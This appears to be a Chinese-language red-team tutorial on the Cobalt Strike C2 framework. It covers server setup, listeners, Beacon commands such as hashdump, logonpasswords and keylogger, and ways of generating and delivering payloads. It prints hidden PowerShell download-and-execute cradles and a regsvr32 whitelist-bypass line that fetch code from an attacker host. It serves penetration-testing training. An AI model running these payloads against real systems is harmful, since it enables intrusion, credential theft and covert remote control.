网盘下载链接 提取码: bndc 

一、Cobalt Strike 简介

Cobalt Strike(简称 CS)是一款业界领先的后渗透测试(Post-exploitation)C2 框架。它最初由 Raphael Mudge 以 Armitage 的衍生项目形式开发,后来演变为独立产品,目前由 HelpSystems(现 Fortra)进行商业化运营和维护。

在安全行业中,CS 被广泛认可为**红队行动(Red Team Operations)**的标准工具之一。无论是 APT 模拟、内网横向移动研究,还是授权的渗透测试项目,CS 都是首选框架。

发展历程

版本阶段 关键变化
Armitage 时期 基于 Metasploit Framework 的图形化前端
CS 1.x / 2.x 独立框架雏形,引入 Beacon 概念
CS 3.x 团队协作功能成熟化,Malleable C2 配置
CS 4.x / 4.5+ External C2、Beacon BOF、跨平台支持增强
当前版本 持续迭代中,官方文档地址:cs.help

学习资源:Cobalt Strike 的官方文档非常详尽,覆盖了从安装部署到高级用法的所有内容。强烈建议在学习过程中随时查阅官方文档作为权威参考。


二、为什么有 Cobalt Strike?

市面上 C2 框架不少,为什么 CS 能脱颖而出成为行业标杆?核心原因在于以下三个方面:

1. 团队协同作战能力

CS 从设计之初就是为多人协作而构建的。TeamServer 架构允许多个操作员同时连接到同一个控制端,共享目标信息、会话状态和操作记录。这在大型红队项目中至关重要——一个人负责初始入侵,另一个人做内网横向,第三个人做权限维持,彼此之间可以无缝衔接。

2. 主流 C2 工具定位清晰

工具 定位 特点
Metasploit Framework 漏洞利用框架 强大的 exploit 库,适合打点阶段
Cobalt Strike 后渗透 C2 框架 稳定的 Beacon 通信,丰富的后渗透能力
Empire / Covenant 开源替代品 免费但稳定性与生态不如 CS
Sliver 新晋 Go 语言框架 跨平台好,社区活跃度增长中

简单来说:MSF 负责把门踹开,CS 负责进去之后的一切操作

⚠️ 合法使用声明:本文所有内容仅供学习和授权的安全测试使用。未经授权对任何系统使用 Cobalt Strike 属于违法行为。请务必遵守相关法律法规。


三、目录结构详解

目录/文件 作用
logs/ 存储 TeamServer 运行日志和操作记录
resources/ 存放模板文件、默认配置等资源
scripts/ AgScript 脚本目录,用于自动化扩展
teamserver Linux 服务端启动脚本(核心入口)
cobaltstrike.jar Java 主程序包(包含服务端+客户端)

关键文件说明cobaltstrike.jar 是整个系统的核心,所有的服务端逻辑、客户端 UI、Beacon 代码生成都封装在这一个 JAR 包里。teamserver 是最常用的启动入口。


四、安装与运行

Cobalt Strike 采用**客户端-服务端(Client-Server)**架构,需要分别启动两个组件:

4.1 服务端(TeamServer)- Linux 环境

TeamServer 必须运行在 Linux 系统上(推荐 Kali、Ubuntu 或 CentOS):

# 基本语法
./teamserver <你的IP> <密码> [配置文件]

# 示例
./teamserver 192.168.1.100 mypassword

# 使用自定义 Malleable C2 配置
./teamserver 192.168.1.100 mypassword ./myprofile.profile

启动参数说明:

  • <你的IP> — TeamServer 监听的 IP 地址(通常填公网 IP 或 VPS IP)
  • <密码> — 客户端连接时需要使用的认证密码
  • [配置文件] — 可选,指定 Malleable C2 Profile 文件路径

⚠️ 前置条件:确保已安装 Java 11 或更高版本(推荐 JDK 11)。可以使用 java -version 检查当前环境。

4.2 客户端(Client)- Win / Linux

客户端可以运行在 Windows 或 Linux 上:

# Windows 下双击 cobaltstrike.bat
# Linux 下启动图形客户端:./cobaltstrike

# 连接时填写:
# Host: TeamServer 的 IP | Port: 默认 50050 | Password: 启动时设置的密码

五、菜单栏功能一览

成功连接 TeamServer 后,主界面顶部菜单栏包含几乎所有核心功能的入口:

菜单项 功能说明
Cobalt Strike 全局设置、监听器管理、VPN 接口、版本信息
View 视图管理(应用程序日志、目标列表、下载记录等)
Attacks 攻击模块(Web 驱动攻击、钓鱼套件、HTML 应用打包)
Reporting 报告生成(活动报告、主机报告、导出数据)
Help 帮助文档和系统信息

重点子菜单说明

  • Cobalt Strike → Listeners — 监听器是 Beacon 回连的核心配置
  • Attacks → Packages — 生成各类可执行木马的入口(exe、PowerShell、DLL 等)
  • View → Applications / Targets / Event Log — 最常用的视图面板

六、监听器详解(Listeners)

监听器定义了 Beacon 与 TeamServer 之间的通信方式,CS 支持多种协议类型以适应不同的网络环境和对抗场景:

HTTP 监听器

最常用的监听类型,通过 HTTP 协议进行通信。流量特征相对明显,但在配合 Malleable C2 Profile 后可以进行较好的伪装。

常用配置项:

  • Port: 监听端口(通常使用 80、443、8080 等常见端口)
  • Host: 回连地址(域名或 IP)
  • Profile: 关联的 Malleable C2 Profile

HTTPS 监听器

基于 SSL/TLS 加密通信,安全性更高。需要配置证书(自签名或合法证书均可)。

DNS 监听器

通过 DNS 查询实现隐蔽通信,适合受限网络环境。需要在域名侧配置 NS 记录指向 TeamServer。特点是流量极小且难以被传统检测手段发现,但速度较慢。

SMB 监听器

使用命名管道(Named Pipe)进行 Peer-to-Peer 通信,常用于内网环境中 Beacon 之间的链式跳转(Pivot),不直接暴露给外网。

TCP 监听器

原始 TCP Socket 通信,无任何协议伪装。适用于调试或特定场景下使用。

选择建议:初学阶段建议先掌握 HTTP/HTTPS 监听器的使用。实际红队行动中通常会组合使用多种监听器:外部用 DNS/HTTPS 入场,内网 SMB Pivot 横向,形成多层次的 C2 通道。


七、Beacon 核心命令

Beacon 上线后,可以通过 Beacon Console 执行大量命令。这些命令是 CS 最核心的操作接口:

7.1 信息收集类

命令 功能描述
ps 列出目标主机上运行的进程
net view 查看域内计算机列表
net computers 枚举域内所有计算机
net group 查看域用户组信息
net localgroup 查看本地组信息
net share 列出共享文件夹
drives 查看磁盘分区
ipconfig / ifconfig 查看网卡和网络配置

7.2 文件操作类

命令 功能描述
upload 上传文件到目标主机
download 从目标主机下载文件
ls / dir 列出当前目录文件
cd 切换工作目录
timestomp 修改文件时间戳(反取证)
cat / type 读取文件内容

7.3 令牌与权限操作

命令 功能描述
steal_token 窃取指定进程的访问令牌
runasuser <domain\user> 以其他用户身份运行命令
rev2self 恢复原始令牌
getsystem 尝试提权至 SYSTEM 权限
make_token 创建新的令牌凭据

7.4 内网穿透与代理

命令 功能描述
socks 开启 SOCKS4/5 代理通道
socks stop 关闭代理通道
portfwd <本地端口> <目标IP> <目标端口> 端口转发
rportfwd 反向端口转发

7.5 其他高频命令

  • shell <cmd> — 在目标上执行任意系统命令(CMD)
  • powershell <cmd> — 通过 PowerShell 执行命令
  • run <program> — 在目标上运行程序
  • runu <program> — 在指定进程上下文中运行程序
  • keylogger — 启动键盘记录器
  • screenshot / screenwatch — 截屏 / 实时屏幕监控
  • hashdump — 导出系统哈希值(需 SYSTEM 权限)
  • logonpasswords — Mimikatz 抓取明文密码和哈希

⚠️ 注意:Beacon 命令分为同步执行(如 shell)和异步执行(如 ls)。异步命令会在下一次 Beacon 回连时返回结果。理解这一点对于判断操作是否成功非常重要。


八、木马生成与上线方式(重点)

这是整个 CS 使用流程中的关键环节——如何生成能够获得目标主机控制权的 Payload(木马)。CS 提供了多种灵活的上线方式,适应不同的投递场景。

8.1 生成前的准备

在生成任何 Payload 之前,需要完成以下准备工作:

  1. 创建监听器:进入 Cobalt Strike → Listeners → Add,配置好 HTTP/HTTPS/DNS 等监听器
  2. 确认回连地址:确保你的 TeamServer IP 或域名可以被目标主机访问
  3. 选择合适的架构:根据目标系统选择 x86(32位)或 x64(64位)

8.2 Windows 可执行文件(EXE)上线

这是最直接的上线方式,生成一个独立的 exe 文件,目标运行即可上线。

操作步骤

  1. 点击菜单 Attacks → Packages → Windows Executable
  2. 选择监听器(Listener)
  3. 选择架构:x86 用于 32 位系统,x64 用于 64 位系统
  4. 点击 Generate 保存 exe 文件

生成的 exe 可以进一步通过捆绑、加壳、签名等方式进行免杀处理。

8.3 PowerShell 脚本上线

PowerShell 方式不需要落地文件,直接在内存中加载执行,具有更好的隐蔽性,是目前比较主流的方式之一。

操作步骤

  1. 点击菜单 Attacks → Packages → PowerShell Shellcode
  2. 选择监听器和架构
  3. 点击 Generate,会输出一行 PowerShell 命令
# 生成的典型 PowerShell 命令示例
powershell -nop -w hidden -c "IEX ((New-Object Net.WebClient).DownloadString('http://你的IP:端口/a'))"

也可以使用 Attacks → Web Drive-by → Scripted Web Delivery 来生成一键执行的 PowerShell 命令,这种方式更加简洁。

8.4 HTML Application(HTA)上线

HTA 文件本质上是 HTML + VBScript/JavaScript 的混合体,Windows 会使用 mshta.exe 来解析执行它。常用于钓鱼邮件附件或恶意网页挂马场景。

操作步骤:菜单 Attacks → Packages → HTML Application 生成 HTA 文件,配合社会工程学投递给目标。

8.5 DLL 动态库上线

DLL(Dynamic Link Library)是一种特殊的 Payload 形式。它本身不能独立运行,需要被其他程序调用加载(如 rundll32.exeregsvr32.exe)。

优势:DLL 白名单绕过效果好,很多安全软件不会拦截系统进程加载 DLL 的行为。

操作步骤:菜单 Attacks → Packages → Dynamic-link Library 生成 DLL 文件。

# 目标机上手动加载 DLL 的方式
rundll32.exe payload.dll,StartW

# 或使用 regsvr32 加载(经典白名单利用方式)
regsvr32.exe /s /u /i:http://你的IP:端口/payload.sct scrobj.dll

8.6 Web Delivery(网页投递)

这是最便捷的方式之一——CS 自动搭建一个临时 Web 服务,目标只需在浏览器或命令行中访问对应 URL 即可上线,整个过程无需落地任何文件。

操作步骤

  1. 点击 Attacks → Web Drive-by → Scripted Web Delivery
  2. 选择类型:PowerShell / HTA 等
  3. 选择监听器和端口
  4. 点击 Launch 后会自动生成一条命令
# 生成的命令类似这样:
powershell -nop -w hidden -c "IEX ((New-Object Net.WebClient).DownloadString('http://192.168.1.100:80/a'))"

# 目标执行这条命令即会上线,无需任何文件落地

8.7 各种上线方式对比

方式 是否落盘 隐蔽性 适用场景
EXE 是(落盘) 较低 直投、捆绑软件
PowerShell 否(内存) 中等 远程执行、脚本注入
Web Delivery 否(内存) 中等 快速测试、演示
DLL 可能落盘 较高 白名单绕过、持久化
HTA 可能落盘 中等 钓鱼邮件、网页挂马

🔒 安全提醒:以上所有 Payload 生成和投递技术仅应在合法授权的渗透测试环境中使用。在实际攻防演练中,请严格遵守授权范围和操作边界,避免造成不必要的业务影响。


九、Staged vs Stageless(重要概念)

在生成 Payload 时,你会遇到两个非常重要的概念:Staged(分阶段) 和 Stageless(无阶段)。理解它们的区别对于选择正确的 Payload 类型至关重要。

什么是 Staged(分阶段)?

Staged Payload 采用两步走策略:

  1. 第一阶段(Stager):一个小型的 shellcode(通常只有几百字节),负责建立基本的网络通信能力
  2. 第二阶段(Stage):Stager 连接成功后,从服务器下载完整的 Beacon 代码并加载执行

类比理解:Stager 就像一支侦察小分队,先摸进去探路;确认安全后再呼叫大部队(完整的 Beacon 代码)进场。

什么是 Stageless(无阶段)?

Stageless Payload 将完整的 Beacon 代码一次性打包进最终文件中。目标执行后直接在内存中加载完整的 Beacon,无需再从服务器下载任何东西。

类比理解:就像一支装备齐全的特种部队,一次空投到位,立即投入战斗。

核心差异对比

对比维度 Staged(分阶段) Stageless(无阶段)
文件体积 很小(几KB ~ 几十KB) 较大(几MB)
网络请求 需要额外下载 Stage 无需额外下载
离线可用性 离线无法完成上线 离线也能执行(联网后才回传)
检测风险 Stager 可能被拦截,Stage 传输过程也可能被捕获 大文件更易触发静态扫描
适用场景 网络畅通、需要小体积的场景 网络受限、需要稳定上线的场景

如何选择?推荐优先使用 Stageless。原因很简单:不需要额外的网络请求就能完成完整加载,可靠性更高。虽然体积更大,但在当前的网络环境下这通常不是瓶颈。Staged 更适合那些对文件大小极其敏感的特殊场景。

在 CS 4.5 及以后的版本中,Attacks → Packages 下的大多数生成选项默认都是 Stageless 格式的。


十、总结与学习建议

知识体系总览

模块 核心要点 掌握程度
基础认知 CS 定位、发展历史、与其他工具的关系 理解
环境搭建 TeamServer 启动、客户端连接、Java 环境 熟练操作
界面熟悉 菜单栏、视图面板、事件日志 熟练操作
监听器 HTTP/HTTPS/DNS/SMB/TCP 各类型配置 重点掌握
Beacon 命令 信息收集、文件操作、令牌、代理等 重点掌握
Payload 生成 EXE / PS / DLL / HTA / Web Delivery 核心技能
Staged vs Stageless 原理差异、选择策略 深入理解

下一步学习方向

  1. Malleable C2 Profile — 学习编写和定制流量伪装规则,让 C2 流量看起来像正常流量
  2. AgScript 脚本开发 — 使用 CS 自带的脚本语言实现自动化任务
  3. BOF(Beacon Object File) — 编写轻量级的 C 语言扩展插件
  4. 内网横向实战 — 结合域渗透知识,在真实内网环境中练习 CS 的横向移动技巧
  5. 免杀与对抗 — 学习 Payload 免杀技术以及 EDR 对抗方法
  6. External C2 — 了解如何通过第三方中转来隐藏真实的 C2 服务器

🔒 最后强调:技术本身是中立的,但使用技术的人决定了它的性质。作为一名网络安全从业者或学习者,请始终保持职业操守和法律意识。只有在获得明确授权的情况下才能开展渗透测试,切勿将所学用于非法用途。让我们共同维护网络空间的安全与秩序。


本文仅供学习交流,禁止用于非法用途 | 请遵守当地法律法规

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐